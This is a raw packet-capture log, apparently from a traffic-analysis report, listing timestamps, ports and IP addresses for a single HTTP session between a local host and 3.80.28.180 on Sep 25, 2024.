Sep 25, 2024 03:51:28.183368921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183428049 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183445930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183465004 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.183487892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183501005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.183505058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183558941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.183574915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183592081 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.183649063 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240053892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240086079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240098953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240147114 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240149975 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240166903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240194082 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240225077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240240097 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240256071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240264893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240269899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240303993 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240389109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240403891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240418911 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240432024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240456104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240518093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240533113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240550041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240597010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240663052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240677118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240693092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240700960 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240752935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240797043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240812063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240828991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240844965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240861893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.240869999 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.240909100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241065025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241080046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241096020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241111040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241111994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241130114 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241144896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241153955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241162062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241178989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241192102 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241215944 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241411924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241427898 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241446018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241449118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241461992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241478920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241483927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241496086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241512060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241513968 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241554022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241760015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241775990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241792917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241807938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241825104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241828918 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241841078 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241859913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.241879940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.241893053 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242027998 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242043018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242073059 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242198944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242213964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242229939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242244005 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242245913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242261887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242269039 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242280006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242295027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242311954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242314100 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242327929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242338896 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242343903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242360115 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242368937 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242404938 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242424011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242425919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242460966 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242784977 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242810011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242825985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242841959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242846012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242860079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242876053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242880106 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242892981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242908955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242914915 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.242928028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.242949009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243402958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243417978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243433952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243443012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243449926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243468046 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243475914 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243510008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243525982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243535042 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243544102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243560076 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243568897 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243576050 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243591070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243602037 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243607044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243623018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243638992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243638992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243660927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243662119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243685007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243700027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243715048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243722916 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243731976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243748903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.243758917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.243787050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244281054 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244296074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244312048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244317055 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244328022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244344950 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244360924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244364977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244378090 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244386911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244394064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244410038 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244410992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244427919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244445086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244458914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244462013 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244477987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244482994 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244499922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244517088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244524956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244533062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244549990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244569063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.244575977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.244632959 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.274286032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274315119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274329901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274358034 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.274380922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274396896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274414062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274420977 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.274466991 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.274512053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274527073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.274552107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.327342033 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331178904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331202030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331231117 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331247091 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331264973 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331283092 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331372023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331372023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331415892 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331450939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331468105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331485033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331515074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331527948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331527948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331531048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331549883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331564903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331603050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331603050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331691980 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331708908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331724882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331741095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331758022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331773996 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.331784010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331784010 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.331995964 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332010984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332027912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332041025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332057953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332061052 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332062006 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332076073 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332092047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332125902 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332180023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332336903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332336903 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332360029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332376957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332393885 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332407951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332420111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332426071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332442045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332457066 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332473993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332490921 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332500935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332500935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332658052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332674026 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332690001 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332701921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332701921 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332808971 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332824945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332840919 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332856894 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332864046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332864046 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.332941055 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332958937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332973957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.332993984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333002090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333002090 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333013058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333030939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333045959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333062887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333074093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333074093 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333081007 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333112955 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333564043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333579063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333595037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333610058 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333611012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333626986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333642960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333659887 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333668947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333668947 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333676100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333693981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333710909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333719015 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333728075 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333745003 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333760023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333776951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.333781958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333781958 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.333956957 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334006071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334022045 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334038019 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334049940 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334054947 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334072113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334088087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334103107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334117889 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334119081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334119081 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334136963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334186077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334186077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334434986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334450006 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334465981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334481955 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334497929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334512949 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334543943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334554911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334554911 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334559917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334578037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334594011 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334610939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334619045 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334628105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334645987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334661961 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334676981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334677935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334677935 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334693909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334712029 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334718943 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334728956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334744930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334762096 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334773064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334773064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334779978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334801912 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334820032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334832907 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:28.334847927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334847927 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.334867001 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:28.335146904 CEST	80	49730	3.80.28.180	192.168.2.4
